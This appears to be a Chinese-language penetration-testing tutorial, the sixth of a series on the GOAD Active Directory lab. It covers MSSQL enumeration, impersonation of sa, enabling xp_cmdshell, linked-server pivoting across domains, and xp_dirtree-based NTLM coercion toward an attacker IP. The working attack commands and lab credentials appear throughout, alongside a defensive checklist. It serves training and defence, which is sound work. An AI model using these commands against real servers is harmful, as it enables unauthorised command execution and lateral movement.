GOAD 域渗透教程 6:MSSQL 枚举、模拟登录、Linked Server 与命令执行
前几篇我们已经把域用户、Kerberoasting、Responder/Relay、NoPAC、SMB 反射和 AD CS 都过了一遍。这一篇不继续追新洞,回头看一个内网里经常被忽略、但非常适合串攻击链的服务:MSSQL。
很多人打 SQL Server 时只盯着一句话:能不能连上 1433。其实在域环境里,MSSQL 更像一个权限中转站。它有服务账号,有 SPN,有 SQL Login 和 Database User,有 IMPERSONATE,还有 linked server。你当前登录的账号可能权限很低,但它通过某个映射跑到另一台 SQL Server 上以后,身份可能就完全变了。
系列进度: 第 6/6 篇|上一篇:ADCS 域提权:从 ESC1 到 ESC16|系列起点:内网扫描、域控识别与初始域用户获取
实验范围: 文中的域名、账号、IP 和 MSSQL 配置均来自 GOAD 靶场。涉及开启
xp_cmdshell的地方,验证完要关回去,避免把环境状态改脏。
这篇文章会学到什么
- 怎么从 SPN 和端口两个角度确认 MSSQL 攻击面
- 怎么判断域账号到底能不能登录 SQL Server
SQL Login和Database User的区别execute as login模拟登录后,怎么继续用xp_cmdshell执行系统命令execute as user为什么不能只看当前数据库权限- linked server 怎么把一台 SQL Server 的权限带到另一台机器
xp_cmdshell whoami出来的到底是谁- MSSQL 后续如何衔接 NTLM coercion / relay 思路
输入与产出
这篇文章默认我们已经拿到了前几篇里的普通域账号,不重新讲密码怎么来的。
| 账号 | 来源 | 这篇文章里的用途 |
|---|---|---|
NORTH\brandon.stark:iseedeadpeople |
Part1 / Part2 | 枚举 SPN,确认 MSSQLSvc 服务账号 |
NORTH\samwell.tarly:Heartsbane |
Part1 | 登录 CASTELBLACK,验证 execute as login sa |
NORTH\arya.stark:Needle |
GOAD 账号 | 验证 msdb 里的 execute as user dbo |
NORTH\jon.snow:iknownothing |
Part2 | 从 CASTELBLACK 通过 linked server 横向到 BRAAVOS |
ESSOS\khal.drogo:horse |
Part5 | 从 BRAAVOS 反向 linked server 打 CASTELBLACK |
最终要证明的不是“能连 SQL”,而是下面几个问题:
- 哪些 SQL Server 真实在线?
- 当前域用户能不能登录?
- 登录以后有没有
IMPERSONATE或 linked server? - 如果能执行系统命令,命令落在哪台主机、哪个 Windows 身份下?
MSSQL 攻击路径选择
这次主要验证四条路径:
| 路径 | 入口账号 | 入口 SQL | 关键点 | 最终效果 |
|---|---|---|---|---|
| SPN 枚举 | brandon.stark |
域控 LDAP/Kerberos | 找到 MSSQLSvc 服务账号 |
确认 SQL Server 和服务账号 |
| Login impersonate | samwell.tarly |
CASTELBLACK |
IMPERSONATE sa |
在 CASTELBLACK 上执行命令 |
| User impersonate | arya.stark |
CASTELBLACK |
msdb 中 execute as user dbo |
在 CASTELBLACK 上执行命令 |
| Linked server | jon.snow / khal.drogo |
CASTELBLACK / BRAAVOS |
本地登录映射到远端 sa |
跨 SQL Server 执行命令 |
这里先把方向说清楚:MSSQL 不是一条直线,而是一张网。一个账号在 A 上看着没什么权限,但如果 A 能代表它访问 B,或者它能在 A 上模拟 sa,后面的结果就完全不一样了。
枚举 MSSQL 攻击面
通过 SPN 发现 SQL Server
前面 Kerberoasting 时已经用过 GetUserSPNs。这里再单独拿出来看一次,因为 SQL Server 如果使用域账号跑服务,通常会注册 MSSQLSvc SPN。
1 | impacket-GetUserSPNs north.sevenkingdoms.local/brandon.stark:iseedeadpeople \ |

这里重点看两类信息:
MSSQLSvc/castelblack.north.sevenkingdoms.local,服务账号是sql_svcMSSQLSvc/braavos.essos.local,服务账号也是sql_svc
这个信息后面会用上。因为 xp_cmdshell 最后跑出来的 Windows 身份,通常不是你登录 SQL 的域用户,而是 SQL Server 服务账号。
通过端口确认服务存活
SPN 只能说明域里注册过服务,不代表现在一定在线。所以还要从端口侧确认一下。
1 | nmap -p 1433 -sV -sC 192.168.56.10-23 |

当前环境里只有两台机器开放 1433:
CASTELBLACK.north.sevenkingdoms.local:192.168.56.22BRAAVOS.essos.local:192.168.56.23
这样 SPN 和端口就对上了。后面我们就围绕这两台 SQL Server 展开。
验证域账号能否登录 MSSQL
拿到域账号以后,不要直接假设它能登录 SQL。先用 nxc mssql 扫一遍。
1 | nxc mssql 192.168.56.22-23 \ |

这里能看到两个比较有价值的结果:
NORTH\samwell.tarly可以登录CASTELBLACK和BRAAVOSESSOS\khal.drogo在BRAAVOS上显示Pwn3d!
Pwn3d! 不等于已经拿到系统 shell,但基本说明这个 SQL 登录权限很高。后面实际验证也能看到,khal.drogo 在 BRAAVOS 上确实能走到高权限操作。
分清 Login 和 User
开始打之前,先把 MSSQL 里两个概念分清楚,不然后面 execute as login 和 execute as user 很容易混。
| 概念 | 所在层级 | 作用 |
|---|---|---|
| Login | SQL Server 实例级别 | 决定你能不能连进这个 SQL Server |
| User | 数据库级别 | 决定你在某个具体数据库里能做什么 |
所以会出现一种情况:你用域账号成功登录了 SQL Server,但进到某个数据库里只是 guest。这时你“能连上”,不等于“权限很高”。
先用 samwell.tarly 连 CASTELBLACK 看一下。
1 | impacket-mssqlclient -windows-auth \ |
进去以后执行:
1 | select @@servername; |

结果是:
- SQL Server:
CASTELBLACK\SQLEXPRESS - Login:
NORTH\samwell.tarly - User:
guest
这说明 samwell.tarly 可以登录实例,但当前数据库里的用户权限并不高。下一步就要看有没有额外授权,尤其是 IMPERSONATE。
利用 impersonate 执行命令
模拟 SQL Login:execute as login
mssqlclient.py 自带 enum_impersonate,它会帮我们查当前身份可以模拟哪些 SQL Login 或 Database User。
1 | enum_impersonate |

关键是这行:
1 | IMPERSONATE GRANT NORTH\samwell.tarly sa |
意思是 samwell.tarly 可以执行:
1 | EXECUTE AS LOGIN = 'sa'; |
切换以后再看当前登录身份:
1 | select SYSTEM_USER; |
返回就是 sa。
这里一定要分清:这个“模拟”不是拿 Windows token,也不是直接变成域管。它模拟的是 SQL Server 的 Login 上下文。它真正的价值是:后面的 SQL 语句会以 sa 权限执行。
所以打法不是“模拟完就结束”,而是要继续往命令执行走:
1 | exec_as_login sa |
先确认自己已经是 sa,再开 xp_cmdshell。如果不做这一步,你还是原来的低权限 SQL 登录,很多动作都会被拒绝。
使用 xp_cmdshell 执行系统命令
有了 sa 以后,最直接的验证方式就是开启 xp_cmdshell。
1 | exec_as_login sa |

这里结果很关键:
1 | north\sql_svc |
也就是说:
- SQL 层面我们是
sa - Windows 命令执行层面是
north\sql_svc - 命令实际落在
CASTELBLACK
这也是前面为什么要枚举 SPN。MSSQLSvc 的服务账号是 sql_svc,最后 xp_cmdshell whoami 出来的也是它。
打到这里以后,不要脑补成“已经域管”。下一步应该继续看 north\sql_svc 在本机和域里的权限,比如本地管理员、可访问共享、明文配置、委派、SPN、是否能触发 NTLM 等。
模拟数据库用户:execute as user
除了 execute as login,还有一种容易被忽略的是 execute as user。
这次换 arya.stark:Needle 登录 CASTELBLACK。她在 master 和 msdb 里都有对 dbo 的 impersonate 权限。
1 | impacket-mssqlclient -windows-auth \ |
进入以后:
1 | use msdb |

这里为什么要特意进 msdb?因为 execute as user 切的是数据库用户上下文,不是实例级 Login。不同数据库里的 dbo、所有者、TRUSTWORTHY、模块签名和 SQL Agent 组合起来,可能会把数据库级权限继续带到实例级动作上。
简单记就是:
execute as login影响的是实例级 Login 上下文execute as user影响的是当前数据库里的 User 上下文- 只有在合适的数据库和权限组合下,
execute as user才能继续变成更高权限动作
这条链不一定每个环境都成立,但 GOAD 里可以打通。它提醒我们:枚举 impersonate 时不要只盯 LOGIN,USER 也要看。
利用 Linked Server 横向
从 CASTELBLACK 横向到 BRAAVOS
MSSQL 的 linked server 很适合做横向。危险点在于:你连的是 A,但 SQL 可以让 A 去访问 B,而且中间可能配置了固定远程登录。
先在 CASTELBLACK 上用 jon.snow 登录:
1 | impacket-mssqlclient -windows-auth \ |
查看 linked server:
1 | enum_links |
这里能看到 BRAAVOS 这个 linked server,而且有一条映射:
1 | BRAAVOS NORTH\jon.snow -> sa |
然后直接切过去执行命令:
1 | use_link BRAAVOS |

结果是:
1 | essos\sql_svc |
这说明入口虽然在 NORTH 域的 CASTELBLACK,但命令已经落到 ESSOS 域的 BRAAVOS 上了。
这类配置在实际环境里很危险,因为它绕过了“我有没有远端 SQL 密码”的问题。你不需要知道远端 sa 密码,只要 linked server 已经帮你映射好了。
从 BRAAVOS 反向打 CASTELBLACK
反过来也可以。从 BRAAVOS 用 khal.drogo 登录,枚举 linked server。
1 | impacket-mssqlclient -windows-auth \ |
1 | enum_links |

这里能看到:
1 | CASTELBLACK ESSOS\khal.drogo -> sa |
也就是说,khal.drogo 从 BRAAVOS 访问 CASTELBLACK 时,远端会映射为 sa。
继续:
1 | use_link CASTELBLACK |

输出里 hostname 是:
1 | castelblack |
whoami 是:
1 | north\sql_svc |
所以这条链的方向是:
1 | ESSOS\khal.drogo -> BRAAVOS SQL -> linked server -> CASTELBLACK SQL -> xp_cmdshell -> north\sql_svc |
看 linked server 时一定要把方向标清楚。不然你很容易搞不清楚:当前登录的是谁、远端映射成谁、命令到底在哪台机器上执行。
常用 SQL 与后续扩展
mssqlclient 常用命令背后的 SQL
mssqlclient.py 的快捷命令很好用,但最好知道它背后大概做了什么。这样工具坏了,或者遇到只能执行原生 SQL 的入口,也不至于卡死。
比如:
1 | exec_as_login sa |
背后就是类似:
1 | EXECUTE AS LOGIN = 'sa'; |
enable_xp_cmdshell 背后就是:
1 | EXEC sp_configure 'show advanced options', 1; |
use_link BRAAVOS 后面再执行命令,本质上就是把 SQL 包进:
1 | EXEC ('...') AT BRAAVOS; |
所以排查 MSSQL 权限时,我一般会把工具命令和原生 SQL 对应起来看。工具只是帮你少敲几行,真正决定能不能打通的还是 SQL Server 当前上下文和服务配置。
触发 SQL Server 出站 NTLM
MSSQL 还经常被用来触发出站 NTLM,例如:
1 | xp_dirtree \\192.168.56.128\share\test |
思路是让 SQL Server 服务账号去访问我们控制的 UNC 路径。正常情况下,Kali 上用 Responder、ntlmrelayx 或 SMB server 可以观察到来自 SQL Server 服务账号的认证。
不过我这次在当前 GOAD 状态里没有把 xp_dirtree 回连稳定复现出来,所以这里不贴成功图,也不写成已验证链路。这个点可以作为下一步扩展:如果能稳定拿到 north\sql_svc 或 essos\sql_svc 的 NTLM,再考虑接 SMB/LDAP/ADCS relay。
排查顺序可以这样来:
- Kali 监听 IP 是否写对,这里是
192.168.56.128 - Kali 的 445 端口有没有被别的进程占用
- SQL Server 主机是否允许出站 SMB
- SQL Server 服务账号是否真的访问 UNC
- 换
xp_fileexist、BACKUP DATABASE TO DISK、BULK INSERT等触发点再试
和前几篇攻击链怎么串
MSSQL 这篇不是孤立的,它可以和前面的东西串起来:
- Part1 / Part2 拿到的
samwell.tarly、jon.snow、brandon.stark,可以用于登录 SQL 或枚举 SPN - Part2 的 Kerberoasting 可以关注
MSSQLSvc服务账号 - Part3 的 NTLM Relay 思路可以接 MSSQL 出站认证
- Part4 的横向移动结果可以反过来验证 SQL 主机权限
- Part5 的 AD CS 可以继续和 SQL 服务账号、机器账号组合
所以 MSSQL 的重点不是某一条命令,而是它提供了一个域内“权限中转站”。你要把 SQL 登录、数据库用户、服务账号、linked server 和域权限关系画清楚,后面横向移动才不会乱。
防守侧检查清单
MSSQL 这类问题修的时候也不能只关一个开关。建议重点检查:
- 禁用不必要的
xp_cmdshell,确实要用也要有审批和审计 - 清理普通账号到
sa的IMPERSONATE权限 - 检查数据库级
execute as user,特别是dbo、msdb、TRUSTWORTHY组合 - linked server 不要配置高权限固定映射,更不要跨域映射到
sa - SQL Server 服务账号不要是域高权限账号
- 限制 SQL Server 主机出站 SMB/NTLM
- 监控
sp_configure 'xp_cmdshell'、EXECUTE AS LOGIN、EXEC (...) AT linked_server - 定期导出
sys.server_permissions、sys.linked_logins、sys.servers做基线对比
常见问题
execute as login 是不是等于拿到了 Windows token?
不是。它切的是 SQL Server 的 Login 上下文。只有当这个上下文有权限开启或调用 xp_cmdshell 时,才会进一步变成系统命令执行。命令执行时的 Windows 身份通常是 SQL Server 服务账号。
linked server 的命令到底在哪台机器上执行?
看 use_link 后面指向哪台远端 SQL Server,再用 xp_cmdshell hostname 验证。不要只看你最开始连的是哪台机器,linked server 会把执行点带到远端。
Pwn3d! 是否一定代表能执行系统命令?
不一定。它说明当前 SQL 权限很高,但还要继续验证 xp_cmdshell 是否可开启、命令是否执行成功,以及 whoami 和 hostname 的结果。
本文小结
这一篇没有追求“一个命令梭哈”,而是把 MSSQL 当成域内攻击面完整过了一遍:
- 通过 SPN 和 1433 发现
CASTELBLACK、BRAAVOS - 用
nxc mssql验证哪些域账号能登录 - 用
samwell.tarly通过execute as login sa拿到 SQL 高权限 - 用
arya.stark通过msdb里的execute as user dbo打通另一条路径 - 用
jon.snow从CASTELBLACK横向到BRAAVOS - 用
khal.drogo从BRAAVOS反向横向到CASTELBLACK - 最终通过
xp_cmdshell确认命令执行落在哪台主机、哪个服务账号下
打 MSSQL 最怕只看 whoami。真正要看的,是 SQL Login、Database User、SQL Server 服务账号、linked server 映射和域权限之间的关系。把这些关系画清楚,后面的利用才会顺很多。
参考资料:
下一步
下一篇我倾向继续顺着 CASTELBLACK 往下写:IIS 上传、WebShell、落地以后如何做 Windows 本地提权。这样可以从这一篇的 MSSQL 命令执行,自然接到 Web 和主机侧的利用。





